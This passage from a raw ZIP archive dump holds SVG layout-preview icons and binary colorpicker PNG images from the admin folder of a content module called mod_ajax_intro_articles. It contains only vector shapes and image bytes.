			<path fill="#FFFFFF" d="M224.3,178.9h-16.2c-0.6,0-1.1,0.5-1.1,1.1c0,0.6,0.5,1.1,1.1,1.1h16.2c0.6,0,1.1-0.5,1.1-1.1
				C225.4,179.4,224.9,178.9,224.3,178.9z"/>
		</g>
	</g>
	<g>
		<rect id="Rectangle-686-Copy-10_5_" x="300.9" y="28.5" sketch:type="MSShapeGroup" fill="#E56565" width="107.2" height="84.8">
		</rect>
	</g>
	<rect x="301.8" y="126" fill="#AAAAAA" width="107.2" height="3.9"/>
	<rect x="301.8" y="138.5" fill="#AAAAAA" width="89.4" height="3.9"/>
	<g>
		<g>
			
				<rect id="Rectangle-686-Copy-10_6_" x="301.8" y="178.4" sketch:type="MSShapeGroup" fill="#7A9E7D" width="107.2" height="65.5">
			</rect>
		</g>
	</g>
	<g>
		<rect x="15.2" y="212.6" fill="#E2E2E2" width="125.9" height="58.6"/>
		<g>
			<rect id="Rectangle-686-Copy-10_7_" x="25" y="221.3" sketch:type="MSShapeGroup" fill="#C6C6C4" width="107.2" height="49.9">
			</rect>
		</g>
	</g>
</g>
<g id="Image">
	<g>
		<g>
			<g>
				<path fill="#FFFFFF" d="M93.6,73.2h-31c-2.9,0-5.3,2.1-5.3,4.8v27.7c0,2.6,2.4,4.8,5.3,4.8h31c2.9,0,5.3-2.1,5.3-4.8V78
					C99,75.3,96.6,73.2,93.6,73.2z M96.5,105.7c0,1.4-1.3,2.6-2.9,2.6h-31c-1.6,0-2.9-1.2-2.9-2.6v-4l8.1-6.1c0.3-0.2,0.7-0.2,1,0
					l5.1,3.8c0.5,0.4,1.2,0.3,1.7-0.1l12-10.8c0.2-0.2,0.5-0.2,0.6-0.2c0.1,0,0.4,0,0.6,0.3l7.8,8.5L96.5,105.7L96.5,105.7z
					 M96.5,93.6l-5.8-6.4c-0.6-0.6-1.4-1-2.4-1.1c-0.9,0-1.8,0.3-2.5,0.8L74.6,97l-4.2-3.1c-1.2-0.9-3-0.9-4.2,0l-6.5,4.9V78
					c0-1.4,1.3-2.6,2.9-2.6h31c1.6,0,2.9,1.2,2.9,2.6V93.6z"/>
			</g>
		</g>
		<g>
			<g>
				<path fill="#FFFFFF" d="M70.4,77.8c-3.3,0-5.9,2.4-5.9,5.3c0,2.9,2.7,5.3,5.9,5.3s5.9-2.4,5.9-5.3
					C76.3,80.2,73.7,77.8,70.4,77.8z M70.4,86.2c-1.9,0-3.5-1.4-3.5-3.1c0-1.7,1.6-3.1,3.5-3.1c1.9,0,3.5,1.4,3.5,3.1
					S72.3,86.2,70.4,86.2z"/>
			</g>
		</g>
	</g>
	<g>
		<g id="youtube_1_">
			<g>
				<path fill="#FFFFFF" d="M368.8,54.8H342c-4.9,0-8.9,4-8.9,8.8v14.7c0,4.9,4,8.8,8.9,8.8h26.8c4.9,0,8.9-4,8.9-8.8V63.6
					C377.8,58.8,373.7,54.8,368.8,54.8z M375.8,78.3c0,3.8-3.1,6.9-7,6.9H342c-3.8,0-7-3.1-7-6.9V63.6c0-3.8,3.1-6.9,7-6.9h26.8
					c3.8,0,7,3.1,7,6.9V78.3z M349,79.3l14.6-8.3L349,62.7V79.3z M350.9,66.1l8.6,4.9l-8.6,4.9V66.1z"/>
			</g>
		</g>
	</g>
	<g>
		<path fill="#FFFFFF" d="M230.3,45.2c-2.9-2.9-7.7-2.9-10.6,0l-5.3,5.2c-0.4,0.4-0.4,1.2,0,1.6s1.2,0.4,1.6,0l5.3-5.2
			c1-1,2.3-1.5,3.7-1.5c1.4,0,2.7,0.5,3.7,1.5s1.5,2.2,1.5,3.6c0,1.4-0.5,2.6-1.5,3.6l-6.9,6.8c-2,2-5.3,2-7.3,0
			c-0.4-0.4-1.2-0.4-1.6,0s-0.4,1.2,0,1.6c1.5,1.4,3.4,2.2,5.3,2.2c1.9,0,3.8-0.7,5.3-2.2l6.9-6.8c1.4-1.4,2.2-3.2,2.2-5.2
			C232.5,48.5,231.7,46.6,230.3,45.2z"/>
		<path fill="#FFFFFF" d="M216.5,66.1l-4.5,4.4c-1,1-2.3,1.5-3.7,1.5c-1.4,0-2.7-0.5-3.7-1.5c-2-2-2-5.2,0-7.2l6.5-6.4
			c1-1,2.3-1.5,3.7-1.5c1.4,0,2.7,0.5,3.7,1.5c0.4,0.4,1.2,0.4,1.6,0s0.4-1.2,0-1.6c-2.9-2.9-7.7-2.9-10.6,0l-6.5,6.4
			c-1.4,1.4-2.2,3.2-2.2,5.2c0,2,0.8,3.8,2.2,5.2c1.4,1.4,3.3,2.1,5.3,2.1c2,0,3.9-0.8,5.3-2.1l4.5-4.4c0.4-0.4,0.4-1.2,0-1.6
			S216.9,65.6,216.5,66.1z"/>
	</g>
	<g>
		<path fill="#FFFFFF" d="M366.9,216.5c-2.1,0-4,1-5.2,2.6l-10.1-5.7c0.2-0.7,0.4-1.4,0.4-2.2c0-0.8-0.1-1.5-0.4-2.2l10.1-5.7
			c1.2,1.6,3.1,2.6,5.2,2.6c3.6,0,6.6-3,6.6-6.6c0-3.6-3-6.6-6.6-6.6c-3.6,0-6.6,3-6.6,6.6c0,0.8,0.1,1.5,0.4,2.2l-10.1,5.7
			c-1.2-1.6-3.1-2.6-5.2-2.6c-3.6,0-6.6,3-6.6,6.6s3,6.6,6.6,6.6c2.1,0,4-1,5.2-2.6l10.1,5.7c-0.2,0.7-0.4,1.4-0.4,2.2
			c0,3.6,3,6.6,6.6,6.6s6.6-3,6.6-6.6S370.5,216.5,366.9,216.5z M366.9,194.9c2.5,0,4.5,2,4.5,4.5s-2,4.5-4.5,4.5s-4.5-2-4.5-4.5
			S364.4,194.9,366.9,194.9z M345.3,215.8c-2.5,0-4.5-2-4.5-4.5s2-4.5,4.5-4.5c2.5,0,4.5,2,4.5,4.5S347.8,215.8,345.3,215.8z
			 M366.9,227.6c-2.5,0-4.5-2-4.5-4.5s2-4.5,4.5-4.5s4.5,2,4.5,4.5S369.4,227.6,366.9,227.6z"/>
	</g>
</g>
</svg>
PK!MZgѶ�4mod_ajax_intro_articles/admin/images/basic-style.svgnu&1i�<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 17.1.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Images" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 viewBox="5.7 4.7 420 230.7" enable-background="new 5.7 4.7 420 230.7" xml:space="preserve">
<rect x="13.7" y="13.1" fill="#D3DFE2" width="190" height="144.9"/>
<rect x="227" y="13.1" fill="#D3DFE2" width="190" height="144.9"/>
<rect x="227" y="180.2" fill="#D3DFE2" width="190" height="144.9"/>
<rect x="13.7" y="180.2" fill="#D3DFE2" width="190" height="144.9"/>
<rect x="29.3" y="30.2" fill="#6A9DAA" width="159.3" height="83.3"/>
<rect x="242.7" y="30.2" fill="#6A9DAA" width="159.3" height="83.3"/>
<g>
	<rect x="29.6" y="125" fill="#5E8291" width="158.1" height="3.9"/>
	<rect x="29.6" y="138.5" fill="#5E8291" width="54.4" height="3.9"/>
</g>
<g>
	<g>
		<path fill="#FFFFFF" d="M126.2,56.3c-0.6-0.6-1.4-1-2.3-1H91.4c-0.9,0-1.7,0.3-2.3,1c-0.6,0.6-1,1.4-1,2.3v24.7
			c0,0.9,0.3,1.7,1,2.3c0.6,0.6,1.4,1,2.3,1h32.6c0.9,0,1.7-0.3,2.3-1c0.6-0.6,1-1.4,1-2.3V58.6C127.2,57.7,126.9,56.9,126.2,56.3z
			 M124.6,83.3c0,0.2-0.1,0.3-0.2,0.5c-0.1,0.1-0.3,0.2-0.5,0.2H91.4c-0.2,0-0.3-0.1-0.5-0.2c-0.1-0.1-0.2-0.3-0.2-0.5V58.6
			c0-0.2,0.1-0.3,0.2-0.5c0.1-0.1,0.3-0.2,0.5-0.2h32.6c0.2,0,0.3,0.1,0.5,0.2c0.1,0.1,0.2,0.3,0.2,0.5V83.3L124.6,83.3z"/>
		<path fill="#FFFFFF" d="M97.2,68.3c1.1,0,2-0.4,2.8-1.1c0.8-0.8,1.1-1.7,1.1-2.8c0-1.1-0.4-2-1.1-2.8c-0.8-0.8-1.7-1.1-2.8-1.1
			c-1.1,0-2,0.4-2.8,1.1c-0.8,0.8-1.1,1.7-1.1,2.8c0,1.1,0.4,2,1.1,2.8C95.2,68,96.2,68.3,97.2,68.3z"/>
		<polygon fill="#FFFFFF" points="103.1,74.2 99.9,70.9 93.3,77.5 93.3,81.4 122,81.4 122,72.3 113.5,63.8 		"/>
	</g>
</g>
<g>
	<g>
		<path fill="#FFFFFF" d="M341.6,56.3c-0.6-0.6-1.4-1-2.3-1h-32.6c-0.9,0-1.7,0.3-2.3,1c-0.6,0.6-1,1.4-1,2.3v24.7
			c0,0.9,0.3,1.7,1,2.3c0.6,0.6,1.4,1,2.3,1h32.6c0.9,0,1.7-0.3,2.3-1c0.6-0.6,1-1.4,1-2.3V58.6C342.5,57.7,342.2,56.9,341.6,56.3z
			 M339.9,83.3c0,0.2-0.1,0.3-0.2,0.5c-0.1,0.1-0.3,0.2-0.5,0.2h-32.6c-0.2,0-0.3-0.1-0.5-0.2c-0.1-0.1-0.2-0.3-0.2-0.5V58.6
			c0-0.2,0.1-0.3,0.2-0.5c0.1-0.1,0.3-0.2,0.5-0.2h32.6c0.2,0,0.3,0.1,0.5,0.2c0.1,0.1,0.2,0.3,0.2,0.5V83.3L339.9,83.3z"/>
		<path fill="#FFFFFF" d="M312.6,68.3c1.1,0,2-0.4,2.8-1.1c0.8-0.8,1.1-1.7,1.1-2.8c0-1.1-0.4-2-1.1-2.8c-0.8-0.8-1.7-1.1-2.8-1.1
			c-1.1,0-2,0.4-2.8,1.1c-0.8,0.8-1.1,1.7-1.1,2.8c0,1.1,0.4,2,1.1,2.8C310.6,68,311.5,68.3,312.6,68.3z"/>
		<polygon fill="#FFFFFF" points="318.4,74.2 315.2,70.9 308.7,77.5 308.7,81.4 337.3,81.4 337.3,72.3 328.9,63.8 		"/>
	</g>
</g>
<rect x="29.3" y="199.3" fill="#6A9DAA" width="159.3" height="79.5"/>
<rect x="242.3" y="199.3" fill="#6A9DAA" width="159.3" height="79.5"/>
<g>
	<rect x="242.6" y="125.2" fill="#5E8291" width="158.1" height="3.9"/>
	<rect x="242.6" y="138.7" fill="#5E8291" width="54.4" height="3.9"/>
</g>
</svg>
PK!��&��Dmod_ajax_intro_articles/admin/images/bootstrap-colorpicker/alpha.pngnu&1i��PNG


IHDR
d�i�IDATx^���MAE�ّ���9R���A�%Pp�9Pw�܌��ӷd�ī���o�{lo<�Z7�<�rp�n�h^�X|�;�`��
'+�,�%	
n��n��y�Û��Ľ���	bb:l��\�}.fX[S���ՙb�����Q�������=���ɝ̈���bO���-�N�2S��3�G��[�h��i��!�I��y^����x�+{��67���v~��#�Du�I�N��ɥVZ�u"]oۏ�a�8�aZ\�)/���{#/ݤ��Q���d����k#`�>{D
"��1��/S��(�����/#3�����UcJ����/�	�2�n֊ĩ��ܣo��]���=�f�g[�O�6�cm���k�~x�L�vx���^�N�c��~a�F�����Y�S	�ݿ�~�IEND�B`�PK!��o���Mmod_ajax_intro_articles/admin/images/bootstrap-colorpicker/hue-horizontal.pngnu&1i��PNG


IHDRd��,PLTE���"�1�A�P�`�n�~�����������������������������{�k�\�L�>�-������/�>�N�\�m�{�������������������������������}�n�^�P�?�1�!��
��,�<�J�[�i�y���������������������������������p�b�Q�C�2�$��6��mIDATx^����m��m۶��= A1� )�a9^%YQ5�0-V���t�=^�?�#�X<�L�3�\�P,�+�Z��l�;�^0�'��|�\�7��p<�/���|�?���}WIEND�B`�PK!������Bmod_ajax_intro_articles/admin/images/bootstrap-colorpicker/hue.pngnu&1i��PNG


IHDRdp�R,PLTE���"�1�A�P�`�n�~�����������������������������{�k�\�L�>�-������/�>�N�\�m�{�������������������������������}�n�^�P�?�1�!��
��,�<�J�[�i�y���������������������������������p�b�Q�C�2�$��6���IDATx^��q��m��m۶��=��ED��%$��ed����UT��54��u�ԥ[�^}�
4d؈Qc�M�4eڌYs�-X�dيUk�mشeێ]{�8t�؉Sg�]�t�ڍ[w�=x��ًWo�}���ۏ_��WP�IEND�B`�PK!p���--Omod_ajax_intro_articles/admin/images/bootstrap-colorpicker/alpha-horizontal.pngnu&1i��PNG


IHDRd
�3��IDATx^��An1D�ږ)��8D2�
���Kp V܀����p�g�cz���,���bP�/�N� ��+���Y�ޕN���z�ҙ��t�;�vR�=�M/}�m����B�����^�K۫�ˏ��hq)��n>V���ޤ��	
@��p� ���@�kR!��0�9�o����W*D���®k�sa�<ك��z�0��$�,Z"7�!�f2'5��-c�6�ܖ�� �	�Dv�-#�D�0S@QI·�@�a\=�s
����\k&�D�����c�?��ȕ���}�I��E
�Q�����W�đ+
 a��F\v3\��%��a���B���ٖ:��{1%b�n���ה3��!��\�Wa4����"e�L�F��>����o<gk�Y��H�1�J�l��3y�� 4^6x�+��\�cN0���ҳe����2��i]t���q%����'b,'�4�c0�<B�|B�(�?z!�5�=RKIEND�B`�PK!8�u�//Imod_ajax_intro_articles/admin/images/bootstrap-colorpicker/saturation.pngnu&1i��PNG


IHDRdd��]��IDATx^tV��6*9@ѻ�T�P��-��m7�-i��h�p���GT�;�m��h� ���yx�.FXWݳ�})��˯��"h�������!�D�Tn}���7���	RL �H�hF�zBI�J�M	�w���#�D&l�7���|-���>���*���'?���~���~A�;�L�"�y/��J��$�&��@p,��Z�D`i�V�Y-���7�u��qA���=y���e2��J�V�>uV
\��t�a�P�+k��B2I�����PmW�K���a��D|�sfY{��d?ID��{o$�py0zOؐiI����U��6{�O=���MAd�h����55�@� ��%��5NT� ��%��Bt�8UtU��a�A�|�����B/�~Q`��*�&˝0�F_S�A�$�W��7EH�� $
 Ux�cJ5u�UT��Q��y{���=m321Y��S���Hp�mҙ�*2$��(�j�8	�P�!x��Pĵ(��Ԭ����6m��k��OT����a�$���uG����E@K��сL7AA

�D��̆nC��8����e���Z�;�@\�1�*��3���$l��Hv�{� ��8o�13%�0fb=N��rD��
;6jp+�vt�:#��le̻fޕ�z]�w��N��C�c5F[ٍ��|.�s>�a�����5�.񢈖��CYH��澠ѩB(IÂ=��$��|ƌo���I�����=�J�U:A
�H�A�F��� �p%@�F�=�*�a���f�P'f��NEyF'�����&W�p�؜�6�d�ᴮ���R k�N>�]��Y��y���8zn^�z��t�P��ċXi�j����YU,J�>�e7���=(HNeF'CUڢ���P�gݽ�a��>��ւ�:��A'"��o��j>��oE_k��p�[$�HH$�D$��K"�HD	�D��ąN�s����{f�=��k��\ݽ̚Y��a>�;�����>W8,�
�wE˻�(cՙ���猠<�{x�(p vӌ=��&�n*z��v�����^���Oz�'}-���u��C�?��`��H�¼�X>
(p��>�!
�P(���@lW113_�$�\����no�5.�Ϸ��Օ��۪�҈&$!URC��@��vq�T�A|��=���o����� (T�@<�G�ѽJE�R�ɟ�ZT�֑�\���+�b�ȣ^��b��U�?ԇE65V�5�qFC&HP� �snW����.xz�s�D�l?�c�aN?=���eF�cI���*�k�����
M
Ŗ7�Ֆ�<�_
�2�u@
X�Yj��:�f�k�V�6�0�̋ �Dp��Z��w<�<�:�� 1˰�t=8#;Ē���M2ߗ(AL��8AD�>�>�����]�?U�jD�S1�D�f3
���j�s���7����r9�^m�����
�'5#��{z��3@U�⠅�!B�h��Ք�9	�?�t(�~Q!�$gIq�Q)D8�D�qm$��V� Gڽ��;���iSEِ���ʜ�9:���JƲ�rȁ#��:���;H�\K�U~9��E�zd�iB�<�!��ͥ�WĬ��9
�w1�<�^�����T=�cZ�`�TL��x
,�%�y��Rp�M�A�@�����L�PѮrثxIS$ro-6��(y��B��tD�0B�8�o�7�X
m�@	S���9I�j*�{0A�T��v�����bC_ ���
�_'4��3�Ϙ��K��̮�=&l�,�|4���2���j-t-x�B����p�ڐ�@uk�%��Cho/�Dp>�p��eQ�I]�����;t�R���V�BFyˇ���@~�(���?2k{1^wE���FqBl�����١����2� #�}�^r��8G��Կ���ȕj%�y�J`m/HA@��"�`�H����Y(��w3�j�Qm�'
��Uvh@(s���.q�I�
��O
D��q�h�g�AtZ��u���MV����bC�H�X~~����@�@��_�l���%�%.�d�{~{�A�*�L�}�;ȏ;�[Xi�>Ud�@�|�$�o�v �s�����8Lh2D$4��f~� ]Bi)SP͗J��,9�B���P$
/�˨��n��c)��R��$�=G�L�Z]��A�5��Qm5��E�� 7��2�KK��81�#
�����%H{��A��|����?8Aڋ��	�Ce
b����O7�K%� qP��灘ԅs�xiTb`vi��sWC5��-0R��z~���E�~4z{-j�2ݲP%e(C�� �P������C;HT;�V����O.`^K7?LGv�K���!N"Q���|Ե@��aGp,�$���	T��!\
�B�� A>��^@�^�@ESM��i�Q�"c"�g����!�`�[w�A4��P�Z܊��d �E��
A��X`�Z+��`�T�>�s��%�`8���b��8ȃ�w~c��}�;HW#����/�`!�
,�
��7�l�E����Ԥrl;� ��X<z��r	De�k	�v�Y����kY`TA�C�:�����PJ�QA���W7���G�*D�TB�>�n��,`	��@e�Av}O�3�B
Ŭ�KkeE�&H�%J���:+�
1e�< ᩎQ�����Z���/O\����2&E���f���j��]�_�;ȗ�
ҁ���bnW��)wQd=�<7���B:Ίa�
D����9�YzK%�YFU1[~�G�$��U"�V뽧����Öj�K��v;�n+��a��,Ur��|��0��5q�<~\��6�t�k�)��{��9�5P�w�A�VU��⬰ؑj�z�ח����pԷ��^��m�I<B��ʻ��j0��9s������!!Ʀ���B��G�Ż@
�����N$a	�W��������Y(!gj���q�X,�	�t� �	�ޜ{M�����v3P�"��L{D�"TDADD��}��}��2�:��k�l6�L23_f��@��.�((@	=�BKĠ!r�R./�Pp�h���8���cFN���1��8h!��^Z�E@� KT.L�8�%m��c�S�c�k��@�r٘��Fi��Dw��"
� % ZjZk � Gl���<]�y�,W�����p�j�h����M��3�F :*�{o��,�y_�Y�_�IB_J݁|� f݅s*f��&��H�W8+9��O��;�l6��3H��H�`�1��*J���G���NA��f
U����iB`��ӝ�LC�B��v�靀��m�5������������Y� o&����̞��vD�qJƜ|��Lz@^O 3�2d���7�6Ɉ�@��f�1䧿
��@� d��Q($T�[��@�������V�C#PI!��Z);e+�4�yy�A�ż�$;�ՀH���}���b�a�)�������<��Jl�6��Q�$�{��V�� K�xdG�����QZ��Jb�?�b��."�"<<���g���?3���k�:$�X(��t��đ�ȴ�h�G���?]H{�';��jH�<t:@z\1�܈ͦn����v��fs������$�P�Ը�eȣ�>�M�j��]�怄Dٕ�L [�<dq1}�Z^Q��x
.E���l�Պ[������h�d���2�}@&���<��/@D��Cb��,�I �~o�^5OR��e�lf�����������R��NrČ���օ)�X>-ɐ�
�~�8˲8@^ߠ�����&9]���?����J�s�d�atU�j��V���T�فB0�M@���O7e�m�c�L)d�'"��}#�88s��mc_Ywb���Nq"��h���v�fg��
>��۱m��O2 x�;IEND�B`�PK!Ze�ff5mod_ajax_intro_articles/admin/images/intro-images.svgnu&1i�<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 17.1.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 viewBox="5.7 4.7 420 230.7" enable-background="new 5.7 4.7 420 230.7" xml:space="preserve">
<g id="Layer_1" xmlns:sketch="http://www.bohemiancoding.com/sketch/ns">
	<rect x="15.8" y="166.2" fill="#E5E5E5" width="125.9" height="76.6"/>
	<rect x="15.7" y="17.1" fill="#E5E5E5" width="125.9" height="136.1"/>
	<rect x="289.7" y="17.2" fill="#E5E5E5" width="125.9" height="97.3"/>
	<title>Responsive DesignI</title>
	<desc>Created with Sketch.</desc>
	<g>
		<rect x="152.5" y="16.9" fill="#E5E5E5" width="125.9" height="181.1"/>
		<g>
			
				<rect id="Rectangle-686-Copy-10_2_" x="161.7" y="27.3" sketch:type="MSShapeGroup" fill="#CC9BC3" width="107.2" height="125.7">
			</rect>
		</g>
		<rect x="161.8" y="167.1" fill="#AAAAAA" width="107.2" height="3.9"/>
		<rect x="161.8" y="181.6" fill="#AAAAAA" width="89.4" height="3.9"/>
	</g>
	<g>
		<rect x="289.7" y="128" fill="#E5E5E5" width="125.9" height="117.9"/>
		<g>
			
				<rect id="Rectangle-686-Copy-10_3_" x="298.9" y="139.2" sketch:type="MSShapeGroup" fill="#CEC47C" width="107.2" height="68.8">
			</rect>
		</g>
		<rect x="299" y="219.7" fill="#AAAAAA" width="107.2" height="3.9"/>
	</g>
	<g>
		<g>
			<rect id="Rectangle-686-Copy-10_4_" x="299" y="27.3" sketch:type="MSShapeGroup" fill="#94A879" width="107.2" height="60">
			</rect>
		</g>
		<rect x="299" y="98.8" fill="#AAAAAA" width="107.2" height="3.9"/>
	</g>
	<g>
		<rect id="Rectangle-686-Copy-10_5_" x="25" y="27.4" sketch:type="MSShapeGroup" fill="#678AA0" width="107.2" height="84.8">
		</rect>
	</g>
	<rect x="25.9" y="125" fill="#AAAAAA" width="107.2" height="3.9"/>
	<rect x="25.9" y="137.5" fill="#AAAAAA" width="89.4" height="3.9"/>
	<g>
		<g>
			<rect id="Rectangle-686-Copy-10_6_" x="25.9" y="177.3" sketch:type="MSShapeGroup" fill="#8BC6C6" width="107.2" height="65.5">
			</rect>
		</g>
	</g>
	<g>
		<rect x="153" y="211.3" fill="#E5E5E5" width="125.9" height="58.6"/>
		<g>
			<rect id="Rectangle-686-Copy-10_7_" x="162.8" y="220" sketch:type="MSShapeGroup" fill="#E5BC9A" width="107.2" height="49.9">
			</rect>
		</g>
	</g>
	<g>
		<g>
			<path fill="#FFFFFF" d="M99.3,53.4c-0.7-0.7-1.6-1.1-2.6-1.1H60.2c-1,0-1.9,0.4-2.6,1.1c-0.7,0.7-1.1,1.6-1.1,2.6v27.8
				c0,1,0.4,1.9,1.1,2.6c0.7,0.7,1.6,1.1,2.6,1.1h36.5c1,0,1.9-0.4,2.6-1.1c0.7-0.7,1.1-1.6,1.1-2.6V56C100.4,55,100,54.1,99.3,53.4
				z M97.5,83.7c0,0.2-0.1,0.4-0.2,0.5c-0.1,0.1-0.3,0.2-0.5,0.2H60.2c-0.2,0-0.4-0.1-0.5-0.2c-0.1-0.1-0.2-0.3-0.2-0.5V56
				c0-0.2,0.1-0.4,0.2-0.5c0.1-0.1,0.3-0.2,0.5-0.2h36.5c0.2,0,0.4,0.1,0.5,0.2c0.1,0.1,0.2,0.3,0.2,0.5V83.7L97.5,83.7z"/>
			<path fill="#FFFFFF" d="M66.8,66.9c1.2,0,2.3-0.4,3.1-1.3c0.9-0.9,1.3-1.9,1.3-3.1c0-1.2-0.4-2.3-1.3-3.1
				c-0.9-0.9-1.9-1.3-3.1-1.3c-1.2,0-2.3,0.4-3.1,1.3c-0.9,0.9-1.3,1.9-1.3,3.1c0,1.2,0.4,2.3,1.3,3.1
				C64.5,66.5,65.6,66.9,66.8,66.9z"/>
			<polygon fill="#FFFFFF" points="73.4,73.5 69.7,69.9 62.4,77.2 62.4,81.6 94.6,81.6 94.6,71.3 85,61.8 			"/>
		</g>
	</g>
	<g>
		<g>
			<path fill="#FFFFFF" d="M237.9,70.4c-0.8-0.8-1.7-1.2-2.8-1.2h-40.2c-1.1,0-2.1,0.4-2.8,1.2c-0.8,0.8-1.2,1.7-1.2,2.8v30.6
				c0,1.1,0.4,2.1,1.2,2.8c0.8,0.8,1.7,1.2,2.8,1.2H235c1.1,0,2.1-0.4,2.8-1.2c0.8-0.8,1.2-1.7,1.2-2.8V73.3
				C239,72.2,238.7,71.2,237.9,70.4z M235.8,103.8c0,0.2-0.1,0.4-0.2,0.6c-0.2,0.2-0.3,0.2-0.6,0.2h-40.2c-0.2,0-0.4-0.1-0.6-0.2
				c-0.2-0.2-0.2-0.3-0.2-0.6V73.3c0-0.2,0.1-0.4,0.2-0.6c0.2-0.2,0.3-0.2,0.6-0.2H235c0.2,0,0.4,0.1,0.6,0.2
				c0.2,0.2,0.2,0.3,0.2,0.6V103.8L235.8,103.8z"/>
			<path fill="#FFFFFF" d="M202.1,85.3c1.3,0,2.5-0.5,3.4-1.4c0.9-0.9,1.4-2.1,1.4-3.4c0-1.3-0.5-2.5-1.4-3.4
				c-0.9-0.9-2.1-1.4-3.4-1.4c-1.3,0-2.5,0.5-3.4,1.4c-0.9,0.9-1.4,2.1-1.4,3.4c0,1.3,0.5,2.5,1.4,3.4
				C199.6,84.9,200.7,85.3,202.1,85.3z"/>
			<polygon fill="#FFFFFF" points="209.3,92.6 205.3,88.6 197.2,96.6 197.2,101.4 232.6,101.4 232.6,90.2 222.2,79.7 			"/>
		</g>
	</g>
	<g>
		<g>
			<path fill="#FFFFFF" d="M370,44c-0.6-0.6-1.3-0.9-2.1-0.9h-29.6c-0.8,0-1.5,0.3-2.1,0.9c-0.6,0.6-0.9,1.3-0.9,2.1v22.5
				c0,0.8,0.3,1.5,0.9,2.1c0.6,0.6,1.3,0.9,2.1,0.9h29.6c0.8,0,1.5-0.3,2.1-0.9c0.6-0.6,0.9-1.3,0.9-2.1V46.1
				C370.9,45.3,370.6,44.6,370,44z M368.5,68.6c0,0.2-0.1,0.3-0.2,0.4c-0.1,0.1-0.3,0.2-0.4,0.2h-29.6c-0.2,0-0.3-0.1-0.4-0.2
				c-0.1-0.1-0.2-0.3-0.2-0.4V46.1c0-0.2,0.1-0.3,0.2-0.4c0.1-0.1,0.3-0.2,0.4-0.2h29.6c0.2,0,0.3,0.1,0.4,0.2
				c0.1,0.1,0.2,0.3,0.2,0.4V68.6L368.5,68.6z"/>
			<path fill="#FFFFFF" d="M343.7,55c1,0,1.8-0.3,2.5-1c0.7-0.7,1-1.5,1-2.5c0-1-0.3-1.8-1-2.5c-0.7-0.7-1.5-1-2.5-1
				c-1,0-1.8,0.3-2.5,1c-0.7,0.7-1,1.5-1,2.5c0,1,0.3,1.8,1,2.5C341.8,54.6,342.7,55,343.7,55z"/>
			<polygon fill="#FFFFFF" points="349,60.3 346,57.4 340.1,63.3 340.1,66.8 366.2,66.8 366.2,58.5 358.5,50.8 			"/>
		</g>
	</g>
	<g>
		<g>
			<path fill="#FFFFFF" d="M371.9,158.8c-0.6-0.6-1.4-1-2.3-1h-32.9c-0.9,0-1.7,0.3-2.3,1c-0.6,0.6-1,1.4-1,2.3v25
				c0,0.9,0.3,1.7,1,2.3c0.6,0.6,1.4,1,2.3,1h32.9c0.9,0,1.7-0.3,2.3-1c0.6-0.6,1-1.4,1-2.3v-25
				C372.9,160.2,372.5,159.4,371.9,158.8z M370.2,186.1c0,0.2-0.1,0.3-0.2,0.5c-0.1,0.1-0.3,0.2-0.5,0.2h-32.9
				c-0.2,0-0.3-0.1-0.5-0.2c-0.1-0.1-0.2-0.3-0.2-0.5v-25c0-0.2,0.1-0.3,0.2-0.5c0.1-0.1,0.3-0.2,0.5-0.2h32.9
				c0.2,0,0.3,0.1,0.5,0.2c0.1,0.1,0.2,0.3,0.2,0.5V186.1L370.2,186.1z"/>
			<path fill="#FFFFFF" d="M342.6,171c1.1,0,2-0.4,2.8-1.2c0.8-0.8,1.2-1.7,1.2-2.8c0-1.1-0.4-2-1.2-2.8c-0.8-0.8-1.7-1.2-2.8-1.2
				c-1.1,0-2,0.4-2.8,1.2c-0.8,0.8-1.2,1.7-1.2,2.8c0,1.1,0.4,2,1.2,2.8C340.6,170.6,341.5,171,342.6,171z"/>
			<polygon fill="#FFFFFF" points="348.5,176.9 345.2,173.6 338.7,180.2 338.7,184.1 367.6,184.1 367.6,174.9 359.1,166.4 			"/>
		</g>
	</g>
	<g>
		<g>
			<path fill="#FFFFFF" d="M98.5,204.2c-0.7-0.7-1.6-1.1-2.6-1.1H59.3c-1,0-1.9,0.4-2.6,1.1c-0.7,0.7-1.1,1.6-1.1,2.6v27.8
				c0,1,0.4,1.9,1.1,2.6c0.7,0.7,1.6,1.1,2.6,1.1h36.5c1,0,1.9-0.4,2.6-1.1c0.7-0.7,1.1-1.6,1.1-2.6v-27.8
				C99.5,205.7,99.2,204.9,98.5,204.2z M96.6,234.5c0,0.2-0.1,0.4-0.2,0.5c-0.1,0.1-0.3,0.2-0.5,0.2H59.3c-0.2,0-0.4-0.1-0.5-0.2
				c-0.1-0.1-0.2-0.3-0.2-0.5v-27.8c0-0.2,0.1-0.4,0.2-0.5c0.1-0.1,0.3-0.2,0.5-0.2h36.5c0.2,0,0.4,0.1,0.5,0.2
				c0.1,0.1,0.2,0.3,0.2,0.5V234.5L96.6,234.5z"/>
			<path fill="#FFFFFF" d="M65.9,217.7c1.2,0,2.3-0.4,3.1-1.3c0.9-0.9,1.3-1.9,1.3-3.1c0-1.2-0.4-2.3-1.3-3.1
				c-0.9-0.9-1.9-1.3-3.1-1.3c-1.2,0-2.3,0.4-3.1,1.3c-0.9,0.9-1.3,1.9-1.3,3.1c0,1.2,0.4,2.3,1.3,3.1
				C63.7,217.3,64.7,217.7,65.9,217.7z"/>
			<polygon fill="#FFFFFF" points="72.5,224.3 68.8,220.6 61.5,227.9 61.5,232.3 93.7,232.3 93.7,222.1 84.2,212.6 			"/>
		</g>
	</g>
	<g display="none">
		<g display="inline">
			<path fill="#FFFFFF" d="M196.2,60.9c-0.2-0.2-0.5-0.3-0.7-0.3c-0.3-0.1-0.6-0.1-0.9-0.1c-0.1,0-0.2,0-0.4,0c-0.1,0-0.3,0-0.5,0
